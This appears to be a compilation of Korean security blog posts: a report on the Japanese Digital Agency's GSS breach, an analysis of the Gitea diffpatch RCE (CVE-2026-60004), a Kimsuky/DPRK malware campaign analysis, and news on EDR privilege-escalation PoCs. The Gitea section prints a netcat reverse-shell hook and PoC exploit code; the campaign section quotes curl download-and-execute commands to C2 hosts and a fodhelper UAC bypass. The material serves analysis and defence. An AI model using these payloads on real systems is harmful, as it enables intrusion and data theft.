요약 - 일본 디지털청(Digital Agency), 정부 공통 업무환경인 Government Solution Service에 대한 외부 침입 사실 공개
- 공격자는 인터넷과 연결괸 VPN 장비의 취약점을 이용해 침입하였으며, 약 24만 6000건의 개인정보 유출 가능성 존재
내용 - 일본 디지털청(Digital Agency), 일본 여러 중앙부처에서 공동으로 사용하는 업무 시스템 Government Solution Service (GSS) 해킹 사실 공개
> 약 24만6000건의 개인정보가 외부로 유출됐을 가능성이 확인
> 공격자는 인터넷과 연결된 VPN 장비의 취약점을 이용해 시스템 내부로 침입한 것으로 조사

- 06.25 디지털청은 GSS 유지·운영 담당자의 계정을 이용해 서버에 저장된 대량의 파일에 접근한 이상 행위 탐지 및 조사 시작
> 조사 결과 제3자가 네트워크 연결 장비인 VPN의 취약점을 이용해 GSS 내부로 침입한 사실이 확인
> 디지털청은 문제가 된 유지·운영 계정을 정지하고 침해된 장비와 외부 사이의 통신을 차단
> 외부 전문업체와 조사를 진행해 개인정보가 외부로 빠져나갔을 가능성을 확인

- 유출 가능성이 있는 개인정보는 약 24만6000건
> GSS를 사용하는 정부기관 직원과 관련 업무를 수행한 공무원 등의 정보 약 18만9000건
> 정부 업무에 참여한 사업자와 개인의 정보 약 5만7000건

- 정보 유형별 분류 ① 이름 약 23만6000건 ② 이메일 주소 약 23만1000건 ③ 전화번호 약 9만4000건 ④ 주소 약 1000건
> 다만 전화번호와 주소 상당수는 개인 연락처나 자택 주소가 아니라 정부기관 업무용 연락처와 청사·사업장 주소

- 일본 정부, 마이넘버(My Number), 금융기관 계좌정보, 연금번호는 유출 가능성이 있는 자료에서 확인되지 않으며, 일반 국민의 개인정보도 포함되지 않았다고 설명
> 일부 민간인 정보는 정부 업무를 수행한 기업 직원과 개인사업자, 정부기관이 개최한 웹회의 참석자 등의 업무용 정보

- 이번 사고에서 공격에 이용된 VPN 취약점은 사고 이전에 이미 공개된 취약점
> 해당 취약점이 처음 공개될 당시 CVSS 기준 위험도 ‘중간(Medium)’ 수준
> 내부에서는 일반적인 대응 기준보다 빠르게 조치를 진행하고 있었지만, 수정 적용 전 공격자가 취약점 악용
> 현재는 해당 VPN 장비에 수정 프로그램 적용, 관련 계정의 인증정보 변경, 침해 장비의 외부 통신 차단
> 이후 새로운 비정상 접근이나 의심스러운 통신은 확인되지 않았다고 밝힘

> 다만 VPN 제품, CVE, 구체적인 공격 방법, 배후 공격그룹은 밝히지 않음
> 구체적인 취약점 정보를 공개할 경우 향후 시스템 보안에 영향을 줄 수 있다는 이유

- 제로트러스트 구조를 도입했다고 해서 인터넷에 노출된 경계 장비의 취약점 관리가 중요하지 않은 것은 아님
> 디지털청은 GSS에 제로트러스트 아키텍처를 적용했지만 이번 침입과 개인정보 유출 가능성을 막지 못했다고 인정
> 사고 이후에는 취약점 관리 절차와 외부 접속 방식을 다시 점검

- 국내 공공기관과 기업도 인터넷과 직접 맞닿아 있는 장비의 취약점 관리 체계를 다시 점검할 필요
> VPN, SSL VPN, 방화벽, 보안 게이트웨이 등
> CVSS 점수만으로 패치 순서를 정하기보다 장비의 인터넷 노출 여부, 관리자 권한, 중요 시스템 연결 여부와 실제 공격 가능성 함께 판단
기타 - GSS
> 각 정부부처가 사용하는 업무용 PC와 네트워크, 소프트웨어, 커뮤니케이션 도구와 보안 환경을 공통으로 제공하는 시스템
> 제로트러스트 네트워크 아키텍처도 도입
> 26.02 기준 일본 정부 18개 기관 약 5만3000명이 사용
> 일본 정부는 향후 이용자를 약 28만명 규모까지 확대할 계획
> 여러 정부기관의 업무환경을 하나의 공통 기반으로 통합하는 구조로, 보안장비 한 곳의 취약점이 전체 환경에 미침

- 타임라인
> 06.25 이상 행위 탐지
> 07.15 침입 경로와 개인정보 유출 가능성 확인 후 일본 개인정보보호위원회에 사고 보고
> 09.11 피해 범위와 대상자를 조사한 뒤 공식 공개
> 09.12 업데이트된 조사 결과 기준으로 이번 사고와 관련한 개인정보 악용 등 2차 피해는 확인되지 않음
> 디지털청은 피해 가능성이 있는 대상자의 연락처를 확인해 순차적으로 개별 통지하고 있음

 

보안뉴스

[1] https://www.dailysecu.com/news/articleView.html?idxno=208517
[2] https://www.digital.go.jp/en/news/2026-0911-01

1. Gitea

- 자체 서버나 로컬 환경에 직접 구축하여 사용할 수 있는 가볍고 빠른 오픈소스 셀프 호스팅 Git 서비스 [1]

2. 취약점

[사진 1] CVE-2026-60004 [2]

- Gitea의 diffpatch API를 통해 동일한 패치를 두 번 제출할 경우 동일 경로 추가 충돌이 발생하고, 이 과정에서 악성 훅 파일(hooks/post-index-change)이 Bare 저장소에 실제 파일로 기록되어 Gitea 서비스를 구동하는 OS 계정 권한으로 임의의 코드를 실행할 수 있는 원격 코드 실행 취약점 (CVSS: 9.8) [3][4][5]

영향받는 버전
- Gitea 1.17 이상 1.27.1 미만

 

2.1 Non-bare 및 Bare 저장소

구분 Non-bare 저장소 Bare 저장소
목적 개발자가 로컬에서 코드 작성/수정/커밋 등 개인 작업용 코드 공유용 중앙 공유 저장소
구조 작업 디렉터리 영역 (실제 프로젝트 파일이 저장)
.git 디렉터리 영역 (Git 관리 정보가 저장)
작업 디렉터리 영역 없음
Git 관리 디렉터리
($GIT_DIR)
.git 저장소 경로 자체가 Git 관리 영역
참고

 

2.2 diffpatch API

- diffpatch API는 내부적으로 git apply 명령을 사용하여 변경 내용을 담은 diff를 받아 그대로 저장소에 반영하며, 명령어 옵션을 통해 패치 적용 방식과 충돌 처리 방식을 지정할 수 있음 [6]

구분 설명
--index 패치를 Index와 작업 디렉터리 모두에 적용
--recount 패치의 Hunk 헤더에 기록된 줄(line) 수를 신뢰하지 않고 실제 패치 내용을 확인해 줄(line) 수 재계산
--cached 작업 디렉터리를 변경하지 않고 Index에만 패치를 적용
--binary 바이너리 패치 적용을 허용
-3way(-3) 패치가 생성된 시점의 파일과 현재 서버에 저장된 파일이 달라 그대로 적용할 수 없을 때 병합을 시도
> Git은 패치를 만든 사람이 수정하기 전/후 파일과 현재 서버에 저장된 파일을 비교
> 패치로 바꾸려는 부분과 서버에서 이미 바뀐 부분을 구분해 서로 다른 부분이면 두 변경을 합치고, 같은 부분을 다르게 변경한 경우 병합하지 않고 충돌로 처리

 

2.3 취약 코드

- Gitea는 사용자의 패치 요청을 받으면 내부적으로 Git 명령을 호출해 처리

> 이때 임시 저장소에 대상 브렌치를 복사해 패치 적용하며, 적용 결과는 커밋한 뒤 원본 저장소에 반영

 

- 패치 처리용 임시 저장소를 생성할 때 Clone()을 호출하며, Bare 저장소 사용 여부를 나타내는 세 번째 인자를 true로 설정

> 해당 값이 true인 경우 Gitea 내부에서 git clone 명령을 만들 때 --bare가 추가되어, 임시 저장소는 Bare 형태로 생성

// services/repository/files/patch.go [7]
func ApplyDiffPatch(ctx context.Context, repo *repo_model.Repository, doer *user_model.User, opts *ApplyDiffPatchOptions) (*structs.FileResponse, error) {
	...
	if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
		return nil, err
	}
	...
}

// services/repository/files/temp_repo.go [8]
func (t *TemporaryUploadRepository) Clone(ctx context.Context, branch string, bare bool) error {
	if err := gitrepo.CloneRepoToLocal(ctx, t.repo, t.basePath, git.CloneRepoOptions{
		Bare:   bare,
		Branch: branch,
		Shared: true,
	});

// modules/git/repo.go [9]
func Clone(ctx context.Context, from, to string, opts CloneRepoOptions) error {
	...
	if opts.Bare {
		cmd.AddArguments("--bare")
	}
	...
		RunWithStderr(ctx)
}

 

- 임시 저장소 생성 후 임시 저장소의 Index에만 반영하기 위해 --cached 옵션을 사용하며, Git 버전이 2.32 이상이면 -3 옵션을 추가

// services/repository/files/patch.go [10]
func ApplyDiffPatch(ctx context.Context, repo *repo_model.Repository, doer *user_model.User, opts *ApplyDiffPatchOptions) (*structs.FileResponse, error) {
	...
	cmdApply := gitcmd.NewCommand("apply", "--index", "--recount", "--cached", "--ignore-whitespace", "--whitespace=fix", "--binary")
	if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
		cmdApply.AddArguments("-3")
	}
	...
}

 

- 첫 번째 요청이 --cached 옵션으로 인해 Index에서만 반영되고, 실제 작업 환경에서는 파일이 생성되지 않음

> 이후 동일한 패치를 다시 전송하면, 첫 번째 요청으로 인해 Index에 동일한 경로의 파일이 존재하므로 동일 경로 추가 충돌(add/add)이 발생하며, -3 옵션에 의해 3-way merge가 수행

> 기존에 동일한 경로의 파일이 존재해 add/add 충돌이 발생한 경우, 현재 파일 내용을 가져오기 위해 load_current()가 호출

 

- load_current()는 Index에서 해당 경로에 파일이 존재하는지 확인 후, 병합 전 Index의 내용과 실제 파일이 일치하는지 검사

> 실제 파일이 존재하지 않으면 checkout_target()을 호출하며, 해당 함수에서 --cached 여부를 확인하지 않아 Index의 내용 실제 경로에 파일로 생성됨

// apply.c [11]
static int try_threeway(struct apply_state *state, struct image *image, struct patch *patch, struct stat *st, const struct cache_entry *ce){
	...
	/* our_oid is ours */
	if (patch->is_new) {
		if (load_current(state, &tmp_image, patch))
			return error(_("cannot read the current contents of '%s'"),
				     patch->new_name);
	} else {
		if (load_preimage(state, &tmp_image, patch, st, ce))
			return error(_("cannot read the current contents of '%s'"),
				     patch->old_name);
	}
	...
}

 

2.3 공격 흐름

- 공격자는 POST /api/v1/repos/{owner}/{repo}/diffpatch URL로 hooks/post-index-change를 새 파일로 만드는 패치를 전송

> 해당 예시는 리버스 쉘을 생성하는 스크립트로, Git Hooks으로 등록되어 Git Index가 갱신될 때(post-index-change) 자동으로 호출

> 첫 번째 요청은 Bare 임시 저장소에 복제되며, --cached에 의해 Index에만 기록

> 동일한 요청을 재전송하면 add/add 충돌이 발생하여, Index에만 존재하던 파일이 Bare 저장소의 실제 경로에 생성

diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000000000000000000000000000000000000..<blob-sha>
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,2 @@
+#!/bin/sh
+F=/tmp/.$$;rm -f $F;mkfifo $F;cat $F|/bin/sh -i 2>&1|nc 공격자 IP Port >$F;rm -f $F

 

2.4 PoC

- hooks/post-index-change 경로에 악성 패치 스크립트를 생성한 뒤, /api/v1/repos/{owner}/{repo}/diffpatch 엔드포인트로 동일한 패치를 두 번 연속 전송하여 add/add 충돌을 유발하고, Index에만 존재하던 악성 Hook 파일을 실제 경로에 생성 [12]

def build_hook(command: str, leak_ref: str) -> bytes:
    qcmd = shlex.quote(command)
    qref = shlex.quote(f"refs/heads/{leak_ref}")
    return (
        "#!/bin/sh\n"
        'git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n'
        'origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2\n'
        'case "$origin_objects" in\n'
        '  /*) ;;\n'
        '  *) origin_objects="$git_dir/objects/$origin_objects" ;;\n'
        "esac\n"
        'origin_git=${origin_objects%/objects}\n'
        '[ "$origin_git" != "$origin_objects" ] || exit 3\n'
        f"output_blob=$({{ /bin/sh -c {qcmd}; "
        'command_status=$?; printf "\\n[exit-status=%s]\\n" "$command_status"; } 2>&1 | '
        'git --git-dir="$origin_git" hash-object -w --stdin) || exit 4\n'
        'tree=$(printf "100644 blob %s\\toutput\\n" "$output_blob" | '
        'git --git-dir="$origin_git" mktree) || exit 5\n'
        'commit=$(printf "command output\\n" | '
        "GIT_AUTHOR_NAME=0xBlackash GIT_AUTHOR_EMAIL=0xBlackash@poc.local "
        "GIT_COMMITTER_NAME=0xBlackash GIT_COMMITTER_EMAIL=0xBlackash@poc.local "
        'git --git-dir="$origin_git" commit-tree "$tree") || exit 6\n'
        f'git --git-dir="$origin_git" update-ref {qref} "$commit" || exit 7\n'
        "exit 0\n"
    ).encode()

def build_patch(hook: bytes) -> str:
    lc  = hook.count(b"\n")
    hdr = (
        "diff --git a/hooks/post-index-change b/hooks/post-index-change\n"
        "new file mode 100755\n"
        f"index {'0'*40}..{blob_oid(hook)}\n"
        "--- /dev/null\n"
        "+++ b/hooks/post-index-change\n"
        f"@@ -0,0 +1,{lc} @@\n"
    ).encode()
    return (hdr + b"".join(b"+" + l for l in hook.splitlines(keepends=True))).decode()
    
def main() -> int:
    hook = build_hook(args.command, leak_ref)
    patch = build_patch(hook)
    
        log_star("submitting malicious patch (1/2)...")
    client.api("POST", f"/api/v1/repos/{owner}/{repo_name}/diffpatch", {
        "content": patch,
    })
    log_star("submitting malicious patch (2/2)...")
    client.api("POST", f"/api/v1/repos/{owner}/{repo_name}/diffpatch", {
        "content": patch,
    })

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [13][14]

> 패치 처리용 임시 저장소를 생성할 때 Non-Bare 저장소로 복제되도록 세 번째 인자 false로 변경

> load_current()에서 --cached 옵션 여부 확인

취약점 제품명 영향받는 버전 해결 버전
CVE-2026-60004 Gitea 1.17 이상 1.27.1 미만 1.27.1 이상

 

- POST 메서드의 /diffpatch 요청, 같은 저장소에 대한 연속적인 요청 등 로그 점검

- 최근 생성된 계정과 해당 계정이 만든 저장소 점검

- 외부 노출 차단

- 관련된 모든 비밀 변경

4. 참고

[1] https://about.gitea.com/
[2] https://nvd.nist.gov/vuln/detail/cve-2026-60004
[3] https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m
[4] https://www.skshieldus.com/security-insights/trends/eqstnow-gitea-git-hook-cve-2026-60004
[5] https://www.skshieldus.com/report/eqstInsight/rt2608.html
[6] https://git-scm.com/docs/git-apply
[7] https://github.com/go-gitea/gitea/blob/b969123b7fac51c88daab5cb64e5b2f4abd53288/services/repository/files/patch.go#L137
[8] https://github.com/go-gitea/gitea/blob/b969123b7fac51c88daab5cb64e5b2f4abd53288/services/repository/files/temp_repo.go#L58
[9] https://github.com/go-gitea/gitea/blob/b969123b7fac51c88daab5cb64e5b2f4abd53288/modules/git/repo.go#L133
[10] https://github.com/go-gitea/gitea/blob/b969123b7fac51c88daab5cb64e5b2f4abd53288/services/repository/files/patch.go#L167
[11] https://github.com/git/git/blob/12cb6293d6288865c1a133cf22accbaf99d13eb6/apply.c#L3728
[12] https://github.com/0xBlackash/CVE-2026-60004
[13] https://blog.gitea.com/release-of-1.27.1/
[14] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=72188&menuNo=205020

1. 개요

- 북한 연계 해킹 조직이 국내 기관·기업을 대상으로 공격 캠페인을 수행

- 외부에 노출된 그룹웨어·메일 서버 또는 스피어피싱 이메일을 초기 침투 거점으로 활용

- 정상 서비스·프로그램 악용침해된 정상 웹사이트·서버를 C2 서버로 악용하여 탐지 회피

- 시스템 정보, 자격 증명, 이메일, 키로깅 등 정보 탈취

2. 주요내용

2.1 Kimsuky, 원격 제어 도구 악용

[사진 1] 공격 개요

- Kimsuky는 악성코드 압축파일을 OneDrive에 업로드하고, 해당 파일의 공유 링크가 포함된 피싱 이메일을 전송 [1][2]

> 압축 파일에 포함된 LNK 파일 실행 시 숨겨진 파워쉘 명령어가 실행되어 C2 서버에 접속, 미끼 문서 실행 및 악성코드 다운·실행

> VBE 파일은 C2 서버에 MAC 주소를 인자로 요청을 전송하고 응답으로 전달된 파워쉘 스크립트를 메모리에서 즉시 실행

> C2 서버로의 첫 요청 시 bot.vbe를 15분 주기로 실행하는 작업을 "Chrome\_Update"라는 이름으로 등록

# 파워셀 명령어
/c mode 15,1 & explorer.exe hxxp://103.77.242[.]187/JINF.pdf & curl hxxp://103.77.242[.]187/logo.png -o %appdata%\bot.vbe & %appdata%\bot.vbe & exit

# VBE 파일 (VBScript)
hxxp://103.77.242[.]187/view.php?type=apple&seed=<MAC주소>

 

- bot.vbe는 C2 서버에서 파워쉘 스크립트를 다운로드해 실행하며 악성 행위 수행 유형원격 제어 도구 설치 유형으로 나뉨

구분 유형 설명
악성 행위 수행 시스템 정보 유출 - 작업 등록 이후 처음으로 유포 및 실행되는 파워쉘 스크립트
> 설치된 보안 프로그램과 시스템 정보를 C:\users\public\music\aaa.tmp 경로에 저장
> 이후, 추출된 정보를 Base64 인코딩 후 "="를 "%"로 치환해 C2로 POST 전송
> C2 : hxxp://103.77.242[.]187/receive.php
이메일 수집 - 로컬 메일함에서 메일 데이터를 수집
> Thunderbird와 Outlook 메일 데이터를 수집
 ① Thunderbird
   ⒜ 로컬에 mbox 포맷으로 저장된 이메일 아카이브 파일에서
        From - \* 문자열을 기준으로 메일을 하나씩 추출해 eml 파일로 저장
   ⒝ 수신함에서는 약 55MB 분량의 최신 메일 데이터를 추출하여 
        C:\Users\Public\Music\Inbox\ 경로에 저장
   ⒞ 보낸 편지함에서는 약 100MB 분량의 최신 메일 데이터를 읽고 
        C:\Users\Public\Music\Sent\ 경로에 저장

 ② Outlook
   ⒜ 로컬 수신함 및 보낸 편지함에서 26.01.01 이후의 모든 이메일을 수집하고
        첨부 파일을 분리하여 C:\users\public\music\mail\ 경로에 저장
   ⒝ 계정 이름으로 하위 디렉토리를 생성하여 저장 경로 분류
   ⒞ 이메일 본문 및 메타데이터는 계정별 email.csv 파일에 일괄 저장
   ⒟ 첨부파일은 메일 본문과 분리하여 계정별 attachment\ 디렉토리에 저장

- 크롬 확장 프로그램을 통한 Gmail 수집
> 확장 프로그램(manifest.json)은 content.js, background.js 2개로 구성
  ① content.js
   ⒜ Gmail 페이지 내부에서 작동하며 "보내기" 버튼과 메일 열람 화면 감시
   ⒝ "보내기"를 누르면 작성 창에서 수신인, 제목, 본문, 첨부파일을 추출, 백그라운드에 전달
   ⒞ 메일 열람 화면이 나타나면 발신자, 제목, 본문, 첨부파일을 추출, 백그라운드에 전달
   ⒟ 첨부파일은 fetch를 통해 링크에서 다운받은 뒤 Base64 인코딩하여 백그라운드에 전달

 ② background.js
   ⒜ 백그라운드에서 동작하며 content.js가 전달한 이메일 데이터를 C2 서버로 전송
   ⒝ 이메일 본문과 첨부파일은 type 파라미터를 통해 구분
   ⒞ 일본의 무료 호스팅 서버가 C&C 서버로 사용
   ⒟ C2 : hxxps://sweet-iki-4263.holy[.]jp/gmail.php
키로거 - 비밀번호 입력 등 키 입력 정보를 탈취
> 인라인된 C# 코드를 메모리에서 직접 컴파일해 실행
> 키보드 입력을 후킹해 모든 키 입력을 %appdata%\Microsoft\ttmp1.log 경로에 저장
> 추가 스크립트를 이용해 수집된 키로거 파일을 C2 서버에 업로드했을 것으로 추정
원격 제어 도구 설치 크롬 원격 데스크톱 - 크롬 원격 데스크톱을 설치해 GUI 원격 제어 수행
> 설치 스크립트는 fodhelper.exe를 이용해 UAC를 우회하고 관리자 권한으로 C2 서버에서 다운로드한 배치 파일을 실행
> ms-settings.exe의 레지스트리를 수정하여, fodhelper.exe 실행 시 UAC 우회 및 관리자 권한으로 크롬 원격 데스크톱 설치 파일을 실행
> 정상 설치 확인을 위해 C:\Program Files (x86)\Google 경로의 디렉토리 리스팅 결과를 C:\users\public\music\bbb.tmp에 저장
> bbb.tmp는 Base64 인코딩 후 "="를 "%"로 치환해 C2로 POST 전송
> C2 : hxxp://103.249.117[.]183/receive.php

※ fodhelper.exe [3][4][5]
- Windows에서 주문형 기능(FoD, Features on Demand) 관리를 담당하는 정상적인 시스템 파일
- 윈도우 주문형 기능은 사용자가 필요할 때 선택적으로 프로그램을 설치 또는 활성화할 수 있는 기능
- C:\Windows\System32\fodhelper.exe에 위치
- 윈도우의 UAC에 의한 프롬프트 인터럽트 없이 자동권한 상승을 위해 "autoElevate=true", "requireAdministrator" 지시자를 지님
- System32 경로에 위치하며, MS에 의해 서명되어 있고, 관리자 권한 설정을 지니기 때문에 공격자들이 UAC 우회 및 권한 상승을 달성하기위해 악용
- 해당 파일이 실행될 때 반드시 ms-settings.exe을 실행하고, ms-settings.exe이 실행될 때 HKCU\Software\Classes\ms-settings\shell\open\command 키 값이 같이 실행
- 공격자가 ms-settings 레지스트리 키 값에 악성 코드를 삽입하면 fodhelper.exe를 실행했을 때 관리자 권한으로 행위할 수 있음
AnyDesk - C2 서버 160.187.147[.]119에서 AnyDesk 설치를 위한 추가 파일 다운로드
> bimage.vmd에 정의된 작업 정보를 이용해 User\_Feed\_Synchronization-{0DDC1BD9-E733-425C-B92B-ABAC149AB11232} 예약 작업 등록
  ① 작업
   ⒜ 5분 주기로 default\_an.vbs를 실행
   ⒝ default\_an.vbs는 다시 default\_an.ps1 호출
   ⒞ default\_an.ps1은 MyAnyMutexName 뮤텍스로 중복 실행 방지, AnyDesk 실행·은닉

 ② 은닉
   ⒜ 모든 창 이름을 탐색해 anydesk, Windows Security Alert, Windows 보안 경고
       제목에 포함된 창을 모두 숨김 처리
   ⒝ 작업 표시줄의 AnyDesk 버튼 제거
   ⒞ 시스템 트레이 영역을 탐색해 AnyDesk 아이콘 제거

 

2.2 북한 연계 해킹 조직의 공격 캠페인

[사진 2] 공격 개요

- 외부에 노출된 그룹웨어·메일 서버의 취약점을 악용하여 초기 접근 권한 획득 [6]

구분 설명
SSH keylogger - DMZ 서버에 지속성을 확보하고 변조된 sshd를 통해 정상 사용자의 평문 자격 증명을 탈취
>
사용자 지정 치환 암호와 Base64 인코딩을 사용하여 암호화
> 탈취한 자격 증명은 /var/lib/sshd/c8c68e629bba773a10ac80012d10bf19에 저장
>
polkitd, crond, agetty, atd에서도 동일한 암호화 방식이 확인
CurlRAT Stager - 1바이트 XOR 연산으로 구성 문자열을 복화하고 루트 권한을 확인한 뒤 OS 환경 확인 및 페이로드 드랍
> 트로이 목마화된 crond 바이너리를 복호화하고, 정상 데몬에 덮어쓴 뒤 서비스 재시작
> 시스템에서 HAProxy 또는 cron이 실행 중인 경우에만 백도어가 삽입된 crond를 설치
> 동작 환경은 CentOS 7.7~7.9 및 Ubuntu 22.04로 확인
> 백도어 설치 후 crond 바이너리가 /usr/bin/ssh와 동일한 생성 타임스탬프를 갖도록 수정
> /tmp/jasper-log 파일을 이용해 특정 키워드(tmp, wget, cron, crond 등)를 로그에서 삭제하여 흔적 제거

※ 키워드 삭제 로그 파일 
- /root/.bash_history
- /var/log/messages
- /var/log/audit/audit.log
- /var/log/cmd.log
- /var/log/secure
- /var/log/syslog
- /var/log/auth.log
CurlRAT - 변조된 crond에 포함된 두개의 스레드로 구성

① 첫 번째 스레드 : C2 통신 및 명령 실행
- /var/lib/snapd를 생성하고 /var/lib/snapd/g580에서 피해자 ID를 확인한 뒤, 필요 시 보조 C2에서 최신 설정을 받아 /var/lib/snapd/g105에 저장

- 피해자 ID는 문자열(cron_3.0pl1-137ubuntu3), 호스트명, IPv4 주소, 하드웨어/OS UUID를 연결해 MD5 생성하며, C2 통신 시 User-token 헤더에 포함

- 각 주기마다 libcurl을 이용하여 C2에 HTTPS를 통해 설정 파일을 받아오나, HTTPS 실패 시 HTTP 사용
> 기본 주기는 12시간이지만, 공격자가 Fast Poll 모드 설정 시 30초로 단축
> 재시도 루프는 한 주기당 5초 간격으로 최대 6회까지 수행되며 첫 번째 시도 실패 시 즉시 종료
> 받아온 설정 파일은 세 개의 단일 문자열로 구분(! : 인증 정보 필드, # : Payload 필드, * : 인자 필드)

- 인증 정보 필드를 피해자 토큰과 비교해 성공 시 # 필드를 확인해 명령 실행
> 0 : 명령 실행 (Base64+XOR 디코딩 후 popen을 통해 실행 및 결과를 반환)
> 1 : 설정 쓰기 (새로운 설정을 받아 유효성을 검사하고 설정 적용)
> 2 : 단계별 페이로드 드랍 (C2와 통신하며 페이로드를 받아 최종 드랍 경로에 압축 해제)
> 3 : 리버스 쉘 (root 권한으로 리버스쉘 생성)
> 4 : 비콘 (시스템 정보 전송)
> 5 : PTY 쉘 (대화형 쉘 생성)

- C2 통신에는 XOR+Base64 기반 자체 암호화가 사용
> name=%s&value=%s&type=%d 형식의 application/x-www-form-urlencoded HTTP POST Body에 포함하여 C2로 전송
> 요청은 하드코딩된 API Token으로 인증

② 두 번째 스레드 : HAProxy Watchdog(감시)
- /usr/lib/libvirtlog.so.0 파일의 존재 여부를 확인해 시스템이 가상화 환경에서 실행 중인지 확인
> 해당 파일이 존재하지 않을 경우 6분 대기 후 종료

- 매시간 /var/run/haproxy.pid에서 PID를 읽고 /proc/pid를 조회하여 HAProxy 상태 모니터링
> HAProxy 상태 코드 : 0(실행), 1(중지), 2(재시작, PID 타임스탬프 수정 및 새로운 PID), 3(재로드, PID 타임스탬프 수정 및 PID 유지)
> 모니터링 결과를 C2 엔드포인트 writeservice_info로 전송

- CentOS 버전의 CurlRAT도 동일한 기능을 제공하지만, 함수를 atd_ 계열로 위장
> IPv4 주소, OS 버전, 서비스 목록, Listening Port 정보를 C2로 전송
Ted Backdoor - 공격자는 HAProxy 2.8.12 소스 코드에 ted_plugin을 포함하여 HAProxy 자체를 재컴파일
> HAProxy 내부 HTTP 파서를 후킹하여 정상적인 로드 밸런싱을 유지하면서 HTTP 트래픽 감시

- ~/cache/haproxy-1000.cache에서 백도어 설정 로드
> 동작 모드, 대상 정규식, 페이로드 경로, 파일명, 스크립트, 인증 키 로드
> IP 기반 ACL은 haproxy-1001.cache 및 haproxy-1002.cache 에서 로드

- /favorite_list_2x_m500_ico.jpg에 대한 요청을 C2 통신의 트리거로 사용
> HAProxy 내부 활성 연결 통계를 하드코딩된 오프셋으로 감소시켜 백도어 흔적 제거
> 요청 데이터를 FIFO 파이프를 통해 백도어로 전달한 뒤 HAProxy 관련 필드를 0으로 초기화하여 C2 통신 은닉

- 정규 표현식을 사용해 수신되는 HTTP 트래픽을 필터링하고, /login 등 중요 페이지 접근 요청 식별
> IP, Host 헤더, Referer 헤더, User-Agent 헤더를 추출하고 설정된 정규식과 일치하는지 확인
> Accept-Language 헤더에 "mrt" 문자열을 확인하거나 IP 화이트리스트·블랙리스트를 이용하여 공격 대상 제한
> 해당 조건들을 만족하는 경우 ted_http_headers_for_htx, ted_http_payload, trace_http_end 등 콜백을 이용하여 정상 HTTP 응답 변조
> Content-Type 헤더, Content-Disposition 헤더, Content-Length 헤더를 변경하고, Accept-Ranges 헤더를 제거

- curlRAT을 libc 루틴으로 위장하여 통합하여 지속성 유지
- 환경 변수에 C2 파이프 정보를 저장하여 HAProxy 재로드·재시작 이후에도 C2 통신 유지

 

2.3 대응방안

- 외부에 노출된 그룹웨어·메일 서버·웹 서버 등의 취약점 및 접근 로그 점검, 최신 보안 패치 적용, 불필요한 외부 접근 제한

- SSH, 관리자 페이지, 원격 접속 등에 MFA 적용, 비밀번호 변경, 활성 세션 종료

- 시스템 파일, 원격 접속 도구, 데몬 등의 무결성 점검

- 비정상적인 원격 접속, 예약 작업, 신규 서비스 점검

- 원격 접속 도구 등 화이트리스트 기반 관리

- C2 통신, 트래픽 변조 등을 탐지

- 엔드포인트, 행위 기반 탐지 솔루션 도입

- 출처가 불분명한 링크 및 파일 주의

- 침해지표 점검

3. 참고

[1] https://www.enki.co.kr/media-center/blog/inside-kimsuky-s-abuse-of-legitimate-remote-control-tools-across-northeast-asia#34-anydesk
[2] https://www.boannews.com/news/articleView.html?idxno=145444
[3] https://www.pentestwiki.com/privilege-escalation/windows/uac-bypass
[4] https://lakedata.tistory.com/176
[5] https://leemon.tistory.com/46
[6] https://www.rapid7.com/blog/post/tr-dprk-apts-ted-backdoor-curlrat-target-south-korean-media-automotive-sectors/
[7] https://www.boannews.com/news/articleView.html?idxno=145770

'악성코드 > 분석' 카테고리의 다른 글

BPFDoor 악성코드  (0) 2025.05.09
Fast Flux 공격  (0) 2025.04.12
Ragnar Loader 분석 보고서  (0) 2025.03.12
정적분석 (Static Analysis) #4  (1) 2025.03.08
정적분석 (Static Analysis) #3  (1) 2025.03.07
요약 - 엔드포인트 솔루션 CrowdStrike Falcon의 보안 기능을 악용해 윈도우 시스템에서 높은 권한을 얻을 수 있는 제로데이 취약점과 PoC FalconFlank 공개
- 백신이나 EDR 제품은 악성코드 탐지·삭제를 위해 시스템 권한으로 동작하기때문에 공격자가 공격에 악용할 수 있는 상황이 발생할 수 있음
내용 - 보안 연구진은 엔드포인트 보안 솔루션 CrowdStrike Falcon의 보안 기능을 악용해 윈도우 시스템에서 높은 권한을 얻을 수 있는 제로데이 취약점과 PoC FalconFlank 공개
> FalconFlank는 팔콘 센서가 악성 오피스 매크로를 탐지하고 치료하는 과정에서 발생하는 동작을 악용
> 보안 프로그램이 악성 파일을 처리하기 위해 높은 권한으로 수행하는 작업을 공격자가 자신에게 유리한 방향으로 이용하는 방식
> 공격이 성공하면 일반 사용자 권한에서 더 높은 시스템 권한으로 올라갈 가능성이 있음
> 최신 업데이트가 적용된 윈도우 11 25H2와 윈도우 서버 2025 환경에서 PoC 동작 주장

> CrowdStrike의 공식 보안 권고나 취약점 번호, 영향받는 정확한 팔콘 센서 버전 범위 등은 확인이 더 필요하며, 실제 공격에 악용됐다는 증거도 현재 공개된 자료에서는 확인되지 않음

- Kaspersky Endpoint Security를 겨냥한 권한상승 PoC HardBreacher 공개
> PoC의 성공률이 높지 않고 여러 차례 실행해야 악용 가능
> Kaspersky에 따르면 수정 사항은 자동 업데이트를 통해 제공되며, 사용자가 데이터베이스 업데이트를 직접 실행하는 방법으로도 적용할 수 있음

- 상대적으로 검증이 많이 진행된 사례는 Microsoft Defender를 겨냥한 ShieldBreak (CVE-2026-69414, CVSS: 7.8)
> 공격이 성공하면 낮은 권한을 가진 로컬 사용자가 윈도우 최고 수준의 권한인 ‘NT AUTHORITY\SYSTEM’을 확보할 수 있음
> Microsoft도 해당 취약점을 공식적으로 인정하고 보안 업데이트를 준비 중
> ShieldBreak는 앞서 공개된 디펜더 취약점 RoguePlanet(CVE-2026-50656, 디펜더의 동작 과정에서 발생하는 경쟁 조건을 악용해 SYSTEM 권한을 얻는 취약점으로 지난 7월 수정)의 패치 우회
